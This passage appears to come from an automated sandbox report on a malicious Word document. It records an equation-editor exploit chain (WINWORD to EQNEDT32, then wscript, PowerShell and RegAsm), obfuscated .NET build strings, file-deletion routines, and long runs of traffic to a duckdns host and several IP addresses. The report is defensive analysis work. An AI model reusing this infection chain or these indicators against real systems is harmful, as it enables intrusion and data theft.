              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000006.00000002.370133163.0000000003659000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.372721749.00000000062F0000.00000004.08000000.00040000.00000000.sdmp
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409253
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,8_2_0041C291
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,8_2_0040C34D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,8_2_00409665
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0044E879 FindFirstFileExA,8_2_0044E879
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,8_2_0040880C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040783C FindFirstFileW,FindNextFileW,8_2_0040783C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,8_2_00419AF5
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,8_2_0040BD37
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,8_2_100010F1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_10006580 FindFirstFileExA,8_2_10006580
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 10_2_0040AE51 FindFirstFileW,FindNextFileW,10_2_0040AE51
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 11_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,11_2_00407EF8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,12_2_00407898
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,8_2_00407C97
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Jump to behavior

              Software Vulnerabilities

              barindex
              Document exploit detected (process start blacklist hit)
              Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
              Suspicious execution chain found
              Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeChild: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              Source: global trafficDNS query: name: maveing.duckdns.org
              Source: global trafficDNS query: name: maveing.duckdns.org
              Source: global trafficDNS query: name: maveing.duckdns.org
              Source: global trafficDNS query: name: maveing.duckdns.org
              Source: global trafficDNS query: name: geoplugin.net
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 198.46.176.133:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 178.237.33.50:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49163
